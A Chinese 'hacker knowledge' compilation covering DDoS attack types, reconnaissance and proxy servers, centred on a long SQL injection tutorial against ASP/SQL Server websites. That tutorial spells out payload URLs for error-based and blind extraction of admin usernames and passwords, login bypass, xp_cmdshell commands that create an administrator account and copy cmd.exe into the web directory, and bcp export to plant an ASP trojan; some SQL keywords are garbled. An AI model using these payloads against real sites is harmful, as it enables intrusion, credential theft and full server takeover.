黑客知识3
1浅析七种DDoS攻击技术
DDOS攻击是现在最常见的一种黑客攻击方式,下面就给大家简单介绍一下DDOS的七种攻击方式。
1.Synflood:该攻击以多个随机的源主机地址向目的主机发送SYN包,而在收到目的主机的SYNACK后并不回应,这样,目的主机就为这些源主机建立了大量的连接队列,而且由于没有收到ACK一直维护着这些队列,造成了资源的大量消耗而不能向正常请求提供服务。
2.Smurf:该攻击向一个子网的广播地址发一个带有特定请求(如ICMP回应请求)的包,并且将源地址伪装成想要攻击的主机地址。子网上所有主机都回应广播包请求而向被攻击主机发包,使该主机受到攻击。
3.Land-based:攻击者将一个包的源地址和目的地址都设置为目标主机的地址,然后将该包通过IP欺骗的方式发送给被攻击主机,这种包可以造成被攻击主机因试图与自己建立连接而陷入死循环,从而很大程度地降低了系统性能。
4.PingofDeath:根据TCP/IP的规范,一个包的长度最大为65536字节。尽管一个包的长度不能超过65536字节,但是一个包分成的多个片段的叠加却能做到。当一个主机收到了长度大于65536字节的包时,就是受到了PingofDeath攻击,该攻击会造成主机的宕机。
5.Teardrop:IP数据包在网络传递时,数据包可以分成更小的片段。攻击者可以通过发送两段(或者更多)数据包来实现TearDrop攻击。第一个包的偏移量为0,长度为N,第二个包的偏移量小于N。为了合并这些数据段,TCP/IP堆栈会分配超乎寻常的巨大资源,从而造成系统资源的缺乏甚至机器的重新启动。
6.PingSweep:使用ICMPEcho轮询多个主机。
7.Pingflood:该攻击在短时间内向目的主机发送大量ping包,造成网络堵塞或主机资源耗尽。
2SQL注入一日通
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。
据统计,网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,以SQL-SERVER+ASP例说明SQL注入的原理、方法与过程。(PHP注入的文章由NB联盟的另一位朋友zwell撰写的有关文章)
SQL注入攻击的总体思路是:
?发现SQL注入位置;
?判断后台数据库类型;
?确定XP_CMDSHELL可执行情况
?发现WEB虚拟目录
?上传ASP木马;
?得到管理员权限;
一、SQL注入漏洞的判断
一般来说,SQL注入一般存在于形如:
HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。
为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。
为了把问题说明清楚,以下以
HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。
1、整型参数的判断
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
;*from表名where字段=YY,所以可以用以下步骤测试SQL注入是否存在。
①
HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
;*from表名where字段=YY’,abc.asp运行异常;
②
HTTP://xxx.xxx.xxx/abc.asp?p=YYand1=1,abc.asp运行正常,而且与
HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③
HTTP://xxx.xxx.xxx/abc.asp?p=YYand1=2,abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
;*from表名where字段=‘YY‘,所以可以用以下步骤测试SQL注入是否存在。
①
HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
;*from表名where字段=YY’,abc.asp运行异常;
②
HTTP://xxx.xxx.xxx/abc.asp?p=YYand‘1‘=‘1‘,abc.asp运行正常,而且与
HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③
HTTP://xxx.xxx.xxx/abc.asp?p=YYand‘1‘=‘2‘,abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
3、特殊情况的处理
有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。
①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替;,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+=%2B,空格=%20等;URLEncode信息参见附件一;
③ASCII码法:可以把输入的部分或全部字符全部用ASCII码代替,如U=chr(85),a=chr(97)等,ASCII信息参见附件二;
二、区分数据库服务器类型
一般来说,ACCESS与SQL-SERVER是最常用的数据库服务器,尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。
1、利用数据库服2、务器的系统变量进行区分
SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:
1HTTP://xxx.xxx.xxx/abc.asp?p=YYanduser>0不2仅可以判断是否是SQL-SERVER,而3还可以得到当前连接到数据库的用户名4
②
HTTP://xxx.xxx.xxx/abc.asp?p=YYanddb_name()>0不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名;
2、利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
①
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;count(*)fromsysobjects)>0
②
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;count(*)frommsysobjects)>0
若数据库是SQL-SERVE,则第一条,abc.asp一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
3、MSSQL三个关键系统表
sysdatabases系统表:MicrosoftSQLServer上的每个数据库在表中占一行。最初安装SQLServer时,sysdatabases包含master、model、msdb、mssqlweb和tempdb数据库的项。该表只存储在master数据库中。这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是保存了所有的库名,以及库的ID和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来。name//表示库的名字。
dbid//表示库的ID,dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb这五个库。用;*frommaster.dbo.sysdatabases就可以查询出所有的库名。
Sysobjects:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。
Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
对象类型(xtype)。可以是下列对象类型中的一种:
C=CHECK约束
D=默认值或DEFAULT约束
F=FOREIGNKEY约束
L=日志
FN=标量函数
IF=内嵌表函数
P=存储过程
PK=PRIMARYKEY约束(类型是K)
RF=复制筛选存储过程
S=系统表
TF=表函数
TR=触发器
U=用户表
UQ=UNIQUE约束(类型是K)
V=视图
X=扩展存储过程
当xtype=‘U‘andstatus>0代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
用:;*fromChouYFD.dbo.sysobjectswherextype=‘U‘andstatus>0就可以列出库ChouYFD中所有的用户建立的表名。
syscolumns:每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有:
name,id,colid:分别是字段名称,表ID号,字段ID号,其中的ID是刚上我们用sysobjects得到的表的ID号。
用:;*fromChouYFD.dbo.syscolumnswhereid=123456789得到ChouYFD这个库中,表的ID是123456789中的所有字段列表。
三、确定XP_CMDSHELL可执行情况
若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步骤都可以省
1、
HTTP://xxx.xxx.xxx/abc.asp?p=YYanduser>0abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。
2、
HTTP://xxx.xxx.xxx/abc.asp?p=YYanddb_name()>0abc.asp执行异常但可以得到当前连接的数据库名。
3、
HTTP://xxx.xxx.xxx/abc.asp?p=YY;execmasterxp_cmdshell“netuseraaabbb/add”——(master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“-”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。
4、
HTTP://xxx.xxx.xxx/abc.asp?p=YY;execmasterxp_cmdshell“netlocalgroupadministratorsaaa/add”——把刚刚增加的帐户aaa加到administrators组中。
5、
HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuupdatabase数据库名todisk=‘c:inetpubwwwrootsave.db‘则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。
6、通过复制CMD创建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;execmaster.dbo.xp_cmdshell“copyc:winntsystem32cmd.exec:inetpubscriptscmd.exe”便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。
四、发现WEB虚拟目录
只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。
一是根据经验猜解,一般来说,WEB虚拟目录是:c:inetpubwwwroot;D:inetpubwwwroot;E:inetpubwwwroot等,而可执行虚拟目录是:c:inetpubscripts;D:inetpubscripts;E:inetpubscripts等。
二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;
先创建一个临时表:temp
HTTP://xxx.xxx.xxx/abc.asp?p=YY;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));——
接下来:
(1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;;tempexecmaster.dbo.xp_availablemedia;——
我们可以通过查询temp的内容来获得驱动器列表及相关信息
(2)我们可以利用xp_subdirs获得子目录列表,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;;intotemp(id)execmaster.dbo.xp_subdirs‘c:‘;——
(3)我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;;intotemp(id,num1)execmaster.dbo.xp_dirtree‘c:‘;——
这样就可以成功的浏览到所有的目录(文件夹)列表:
如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;;intotemp(id)execmaster.dbo.xp_cmdshell‘typec:webindex.asp‘;——
使用‘bulk;‘语法可以将一个文本文件插入到一个临时表中。如:bulk;temp(id)from‘c:inetpubwwwrootindex.asp‘
浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。
当然,如果xp_cmshell能够执行,我们可以用它来完成:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;;intotemp(id)execmaster.dbo.xp_cmdshell‘dirc:‘;——
HTTP://xxx.xxx.xxx/abc.asp?p=YY;;intotemp(id)execmaster.dbo.xp_cmdshell‘dirc:*.asp/s/a‘;——
通过xp_cmdshell我们可以看到所有想看到的,包括W3svc
HTTP://xxx.xxx.xxx/abc.asp?p=YY;;intotemp(id)execmaster.dbo.xp_cmdshell‘cscriptC:InetpubAdminScriptsadsutil.vbsenumw3svc‘
但是,如果不是SA权限,我们还可以使用
HTTP://xxx.xxx.xxx/abc.asp?p=YY;;intotemp(id,num1)execmaster.dbo.xp_dirtree‘c:‘;——
注意:
1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;;fromtemp;——
2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1idfromTestDB.dbo.temp)>0得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1idfromTestDB.dbo.temp)>0whereidnotin(‘xyz‘))>0得到表TEMP中第二条记录id字段的值。
五、上传ASP木马
所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法:
1、利用WEB的远程管理功能
许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。
因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。
用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。
A、注入法:
从理论上说,认证网页中会有型如:
;*fromadminwhereusername=‘XXX‘andpassword=‘YYY‘的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施SQL注入。
如在用户名文本框内输入:abc’or1=1——在密码框内输入:123则SQL语句变成:
;*fromadminwhereusername=‘abc’or1=1andpassword=‘123’不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。
B、猜解法:
基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。
?猜解所有数据库名?称
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;count(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)0因为dbid的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了name>1(name字段是一个字符型的字段和数字比较会出错),abc.asp工作异常,可得到第一个数据库名,同理把DBID分别改成7,8,9,10,11,12…就可得到所有数据库名。
以下假设得到的数据库名是TestDB。
?猜解数据库中用户名?表的名?称
猜解法:此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,
sysusers,
sysaccounts,systemaccounts等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;count(*)fromTestDB.dbo.表名)>0若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。
读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过WEB进行访问。
当xtype=‘U‘andstatus>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:
①
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1namefromTestDB.dbo.sysobjectswherextype=‘U‘andstatus>0)>0得到第一个用户建立表的名称,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则
②
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1namefromTestDB.dbo.sysobjectswherextype=‘U‘andstatus>0andnamenotin(‘xyz‘))>0可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。
根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。
?猜解用户名?字段及密码字段名?称
admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。
猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;count(字段名)fromTestDB.dbo.admin)>0“;count(字段名)from表名”语句得到表的行数,所以若字段名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到两个字段的名称。
读取法:基本的实现方法是
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1col_name(object_id(‘admin‘),1)fromTestDB.dbo.sysobjects)>0。;top1col_name(object_id(‘admin‘),1)fromTestDB.dbo.sysobjects是从sysobjects得到已知表名的第一个字段名,当与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现字段的名称。把col_name(object_id(‘admin‘),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
?猜解用户名?与密码
猜用户名与密码的内容最常用也是最有效的方法有:
ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1len(username)fromTestDB.dbo.admin)=X(X=1,2,3,4,5,…n,username为用户名字段的名称,admin为表的名称),若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1len(username)fromTestDB.dbo.admin)=8时abc.asp运行正常,则第一个用户名的长度为8
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1ascii(substring(username,m,1))fromTestDB.dbo.admin)=n(m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i且abc.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1ascii(substring(username,3,1))fromTestDB.dbo.admin)=80时abc.asp运行正常,则用户名的第三位为P(P的ASCII为80);
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1ascii(substring(username,9,1))fromTestDB.dbo.admin)=33时abc.asp运行正常,则用户名的第9位为!(!的ASCII为80);
猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。
简单法:猜用户名用
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1flagfromTestDB.dbo.adminwhereusername>1),flag是admin表中的一个字段,username是用户名字段,此时abc.asp工作异常,但能得到Username的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。
猜用户密码:
HTTP://xxx.xxx.xxx/abc.asp?p=YYand(;top1flagfromTestDB.dbo.adminwherepwd>1),flag是admin表中的一个字段,pwd是密码字段,此时abc.asp工作异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。
HTTP://xxx.xxx.xxx/abc.asp?p=YY;;TestDB.dbo.adminsetpwd=‘a0b923820dcc509a‘whereusername=‘www‘;——(1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)
用同样的方法当然可把密码改原来的值。
2、利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp‘;*fromtextfoo‘queryoutc:inetpubwwwrootuncommand.asp-c-Slocalhost-Usa-Pfoobar(‘S‘参数为执行查询的服务器,‘U‘参数为用户名,‘P‘参数为密码,最终上传了一个runcommand.asp的木马)
六、得到系统的管理员权限
ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:
上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);
复制CMD.exe到scripts,人为制造UNICODE漏洞;
下载SAM文件,破解并获取OS的所有用户名密码;
等等,视系统的具体情况而定,可以采取不同的方法。
七、几个SQL-SERVER专用手段
1、利用xp_regread扩展存储过程修改注册表
[xp_regread]另一个有用的内置存储过程是xp_regXXXX类的函数集合(Xp_regaddmultistring,Xp_reg;key,Xp_reg;value,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻击者可以利用这些函数修改注册表,如读取SAM值,允许建立空连接,开机自动运行程序等。如:
execxp_regreadHKEY_LOCAL_MACHINE,‘SYSTEMCurrentControlSetServiceslanmanserverparameters‘,‘nullsessionshares‘确定什么样的会话连接在服务器可用。
execxp_regenumvaluesHKEY_LOCAL_MACHINE,‘SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities‘显示服务器上所有SNMP团体配置,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。
2、利用其他存储过程去改变服务器
xp_servicecontrol过程允许用户启动,停止服务。如:
(execmasterxp_servicecontrol‘start‘,‘schedule‘
execmasterxp_servicecontrol‘start‘,‘server‘)
Xp_availablemedia显示机器上有用的驱动器
Xp_dirtree允许获得一个目录树
Xp_enumdsn列举服务器上的ODBC数据源
Xp_loginconfig获取服务器安全信息
Xp_makecab允许用户在服务器上创建一个压缩文件
Xp_ntsec_enumdomains列举服务器可以进入的域
Xp_terminate_process提供进程的进程ID,终止此进程
附件一:URLUnicode表(节选,主要是非字母的字符,RFC1738)
字符特殊字符的含义URL编码
#用来标志特定的文档位置%23
%对特殊字符进行编码%25
&分隔不同的变量值对%26
+在变量值中表示空格%2B
/表示目录路径%2F
%5C
=用来连接键和值%3D
?表示查询字符串的开始%3F
空格%20.
句号%2E
:冒号%3A
附件二:ASCII表(节选)
DecHexCharDecHexChar
8050P
3220(space)8151Q
3321!8252R
3422‘8353S
3523#8454T
3624$8555U
3725%8656V
3826&8757W
3927‘8858X
4028(8959Y
4129)905AZ
422A*915B[
432B+925C
442C,935D]
452D-945E^
462E.955F_
472F/9660`
483009761a
493119862b
503229963c
5133310064d
52344
5335510165e
5436610266f
5537710367g
5638810468h
5739910569i
583A:1066Aj
593B;1076Bk
603C1106En
633F?1116Fo
11270p
6440@11372q 6541A11472r
6642B11573s
6743C11674t
6844D11775u
6945E11876v
7046F11977w
7147G12078x
7248H12179y
7349I1227Az
744AJ1237B{
754BK1247C|
764CL1257D}
774DM1267E~
784EN1277F
794FO12880
3如何查找网络安全漏洞
电脑黑客们总是希望知道尽可能多的信息,比如:是否联网、内部网络的架构以及安全防范措施的状态。一旦那些有经验的黑客盯上了你的网络系统,他们首先会对你的系统进行分析。这就是为什么我们说运用黑客的“游戏规则”是对付黑客的最好办法的原因。以黑客的眼光来审视网络安全性,往往可以发现很多潜在的安全漏洞。这样做不仅提供了审视你网络系统的不同视角,而且让你能够从你的敌人,即黑客的角度来指导你采取最有效的网络安全措施。
下面,我们来看一下网络系统分析的过程。这个过程要用到开源工具和相关技术。
用开源工具收集信息
首先,登录Whois.com网站查找你企业的域名,检索结果将会显示出你的网络系统所使用的DNS服务器。然后再使用一些软件工具,如:nslookup,来进一步挖掘DNS服务器的详细信息。
接下来,需要将目标转向于企业的公众Web站点和你能找到的匿名FTP服务器。注意,你现在需要关注的信息主要是:域名、这些域名的IP地址、入侵检测系统的所有信息、用户名、电话号码、电子邮件地址、物理位置、已发布的安全策略、业务合作伙伴的资料、以及新并购企业的信息。
此外,在你的上述搜索操作中,一定要特别注意这些网站上已显示的和没有显示的信息。最好,把这些网页存入你的电脑中,然后用记事本程序打开,查看网页的源代码。一般而言,查看网页的源代码可以大量的信息,这也就是某些站点有意对浏览者屏蔽源代码的原因。在源代码文件中,你也许能够了解到网站开发者建站的方式:他们所使用的软件类型及软件版本、网站以及网页的架构,有时候甚至能够发现一些网站管理员的个人资料。
业务合作伙伴的站点或一些新的并购企业的站点往往是黑客入侵的关键点。这些站点是间接入侵目标站点的最佳突破口,容易被网站管理员所忽视,给黑客攻击者制造了大量的机会。如果你在这方面没有足够的警惕性,疏忽大意,很草率地新某个新的业务合作者的网站和你自己的站点联接起来,往往会造成很严重的后果,给你的站点带来极大的安全威胁。在这样的情况下,安全问题比经营问题更加重要,一定要确保安全操作。
从外部审视网络
有了上述信息收集,你可以开始审视你的网络了。你可以运用路径追踪命令来查看你的网络拓扑结构图和访问控制的相关设置。你会获得大量交换机的特征信息,用来旁路访问控制设备。
注意,命令的反馈结果会因为所使用操作系统的不同而有所差别。UNIX操作系统使用UDP,也可以选择使用ICMP;而Windows操作系统默认用ICMP来响应请求(Ping)。
你也可以用开源工具管理大量pingsweep、执行TCP/UDP协议扫描、操作系统探测。这样做的目的就是要了解,在那些外部访问者的眼中,你的网络系统的运行状况和一些基本的面貌、特征。因此,你需要检验你的网络系统,哪些端口和服务对外部访问者是开放的或可用的,外部访问者是否可以了解到你所使用的操作系统和一些程序,极其版本信息。简言之,就是要了解到你的网络系统究竟对那些外部访问者开放了哪些端口或服务,泄露了哪些站点的基本信息。
在你开始上述工作之前,你必须要先获得足够的授权,才能进入整个网络系统并对其进行考察、分析。千万不要将你了解到信息告知那些不怀好意的人。记住:安全防护是一个实施过程,而不仅仅是一种技术。
4代理服务器基础知识
一、什么是代理服务器?
代理服务器英文全称是ProxyServer,其功能就是代理网络用户去取得网络信息。形象的说:它是网络信息的中转站。
在一般情况下,我们使用网络浏览器直接去连接其他Internet站点取得网络信息时,需送出Request信号来得到回答,然后对方再把信息以bit方式传送回来。代理服务器是介于浏览器和Web服务器之间的一台服务器,有了它之后,浏览器不是直接到Web服务器去取回网页而是向代理服务器发出请求,Request信号会先送到代理服务器,由代理服务器来取回浏览器所需要的信息并传送给你的浏览器。而且,大部分代理服务器都具有缓冲的功能,就好象一个大的Cache,它有很大的存储空间,它不断将新取得数据储存到它本机的存储器上,如果浏览器所请求的数据在它本机的存储器上已经存在而且是最新的,那么它就不重新从Web服务器取数据,而直接将存储器上的数据传送给用户的浏览器,这样就能显著提高浏览速度和效率。
更重要的是:ProxyServer(代理服务器)是Internet链路级网关所提供的一种重要的安全功能,它的工作主要在开放系统互联(OSI)模型的对话层。
二、代理服务器的分类
1、HTTP代理按匿名功能分类。
是否具有隐藏IP的功能。
非匿名代理:不具有匿名功能。
匿名代理。使用此种代理时,虽然被访问的网站不能知道你的IP地址,但仍然可以知道你在使用代理,有些侦测IP的网页也仍然可以查到你的IP。
高度匿名代理:使用此种代理时,被访问的网站不知道你的IP地址,也不知道你在使用代理进行访问。此种代理的隐藏IP地址的功能最强。
2、按请求信息的安全性分类
全匿名代理:不改变你的requestfields(报文),使服务器端看来就像有个真正的客户浏览器在访问它。当然,你的真实IP是隐藏起来的。服务器的网管不会认为你使用了代理。
普通匿名代理:能隐藏你的真实IP,但会更改你的requestfields,有可能会被认为使用了代理,但仅仅是可能,一般说来是没问题的。不过不要受它的名字的误导,其安全性可能比全匿名代理更高,有的代理会剥离你的部分信息(就好比防火墙的stealthmode),使服务器端探测不到你的操作系统版本和浏览器版本。
elite代理:匿名隐藏性更高,可隐藏系统及浏览器资料信息等。此种代理安全性特强。
透明代理(简单代理):透明代理的意思是客户端根本不需要知道有代理服务器的存在,它改编你的requestfields(报文),并会传送真实IP。注意,加密的透明代理则是属于匿名代理,意思是不用设置使用代理了,例如Garden2程序。
3、按代理服务器的用途分类
1)Http代理:代理客户机的http访问,主要代理浏览器访问网页,它的端口一般为80、8080、3128等。
2)SSL代理:支持最高128位加密强度的http代理,可以作为访问加密网站的代理。加密网站是指以https://开始的网站。ssl的标准端口为443。
3)HTTPCONNECT代理:允许用户建立TCP连接到任何端口的代理服务器,这种代理不仅可用于HTTP,还包括FTP、IRC、RM流服务等。
4)FTP代理:代理客户机上的ftp软件访问ftp服务器,其端口一般为21、2121。
5)POP3代理:代理客户机上的邮件软件用pop3方式收邮件,其端口一般为110。
6)Telnet代理:能够代理通信机的telnet,用于远程控制,入侵时经常使用。其端口一般为23。
7)Socks代理:是全能代理,就像有很多跳线的转接板,它只是简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks4和socks5两种类型,socks4只支持TCP协议而socks5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。
socks代理相应的采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。Socks是个电路级的底层网关,是DavidKoblas在1990年开发的,此后就一直作为InternetRFC标准的开放标准。Socks不要求应用程序遵循特定的操作系统平台,Socks代理与应用层代理、HTTP层代理不同,Socks代理只是简单地传递数据包,而不必关心是何种应用协议(比如FTP、HTTP和NNTP请求)。所以,Socks代理比其他应用层代理要快得多。它通常绑定在代理服务器的1080端口上。如果您在企业网或校园网上,需要透过防火墙或通过代理服务器访问Internet就可能需要使用SOCKS。一般情况下,对于拨号上网用户都不需要使用它。注意,浏览网页时常用的代理服务器通常是专门的http代理,它和SOCKS是不同的。因此,您能浏览网页不等于您一定可以通过SOCKS访问Internet。常用的防火墙,或代理软件都支持SOCKS,但需要其管理员打开这一功能。如果您不确信您是否需要SOCKS或是否有SOCKS可用,请与您的网络管理员联系。为了使用socks,您需要了解一下内容:
①SOCKS服务器的IP地址
②SOCKS服务所在的端口
③这个SOCKS服务是否需要用户认证?如果需要,您要向您的网络管理员申请一个用户和口令
知道了上述信息,您就可以把这些信息填入“网络配置”中,或者在第一次登记时填入,您就可以使用socks代理了。
在实际应用中SOCKS代理可以用作为:电子邮件、新闻组软件、网络传呼ICQ、网络聊天MIRC和使用代理服务器上联众打游戏等等各种游戏应用软件当中。
